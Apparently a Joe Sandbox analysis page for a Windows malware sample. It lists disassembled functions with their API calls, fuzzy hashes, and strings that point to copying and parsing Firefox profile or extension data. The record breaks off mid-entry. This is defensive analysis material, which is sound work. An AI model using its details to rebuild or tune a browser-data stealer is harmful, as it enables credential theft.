Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 00410740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00918690), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,00918680), ref: 00410866
StrCmpCA.SHLWAPI(00000000,00918740), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410A40, 00410A54, 00410803, 0041091B, 00410806, 0041091E, 00410A43

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: ad8dc5e93b182d36aa8816b13cb8526b02303e3c68790e1ea0db99ee73ed39a9
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: ad8dc5e93b182d36aa8816b13cb8526b02303e3c68790e1ea0db99ee73ed39a9
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00918690), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,00918680), ref: 00410866
StrCmpCA.SHLWAPI(00000000,00918740), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410803, 0041091B, 00410806, 0041091E

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: 4f314794acc433d264edb91db9a4cba44b198df7345ecddf4fe998b3cfc938e1
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: 4f314794acc433d264edb91db9a4cba44b198df7345ecddf4fe998b3cfc938e1
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 0040A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00918410,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A0BD
LoadLibraryA.KERNEL32(00920DB8,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A146

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00918580,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

SetEnvironmentVariableA.KERNEL32(00918410,00000000,00000000,?,004212D8,?,00410153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AFE), ref: 0040A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A0B2, 0040A0C6, 0040A0DC

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: dc3d2851561787c4722b2a7d37ec800c06093dc200fcd0a79f498d34d7c7af6e
Instruction ID: 8fd865f7776555e91364b6e3317f0d6dd22ba45ac697d56d5a10bd23e480980a
Opcode Fuzzy Hash: dc3d2851561787c4722b2a7d37ec800c06093dc200fcd0a79f498d34d7c7af6e
Instruction Fuzzy Hash: F9418DB9941204BFCB04EFE5ED45BEA33B6BB0A305F05112EF405A32A0DB385985CB67

Function 00406BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn@,@Jn@), ref: 00406C9F

Strings

Jn@, xrefs: 00406BED, 00406C0D, 00406C8F
Jn@, xrefs: 00406C1D, 00406C39, 00406C88, 00406C98, 00406C04, 00406C28, 00406C33
@Jn@, xrefs: 00406C80, 00406C83

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn@$Jn@$Jn@
API String ID: 544645111-1180188686
Opcode ID: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction ID: b746c2a28f05bbd6b1460d210bf7098c9bc173f160aa6dfc6dfdc57a011f18e7
Opcode Fuzzy Hash: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction Fuzzy Hash: FA213374E04208EFEB04CF84C544BAEBBB5FF48304F1181AAD54AAB381D3399A91DF85

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,0091CAD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlenA.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: e5c4602fd9f64bba786b003cf56343855364b4f9182cb64d0d85bed19250304b
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: e5c4602fd9f64bba786b003cf56343855364b4f9182cb64d0d85bed19250304b
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,0091CAD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D801
lstrlenA.KERNEL32(00000000), ref: 0040D99F
lstrlenA.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: de04ba9cf3d3a0bb88b652db4431ba7ce1800317363bc5b31e3a27d5a355cb53
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: de04ba9cf3d3a0bb88b652db4431ba7ce1800317363bc5b31e3a27d5a355cb53
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlenA.KERNEL32(00000000), ref: 0040F56B

Strings

moz-extension+++, xrefs: 0040F5AD
^userContextId=4294967295, xrefs: 0040F59C

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: c6d68fb0603da1e25a23b90469779a044771ff029b5026b29d5fc07adc8ee29f
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: c6d68fb0603da1e25a23b90469779a044771ff029b5026b29d5fc07adc8ee29f
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

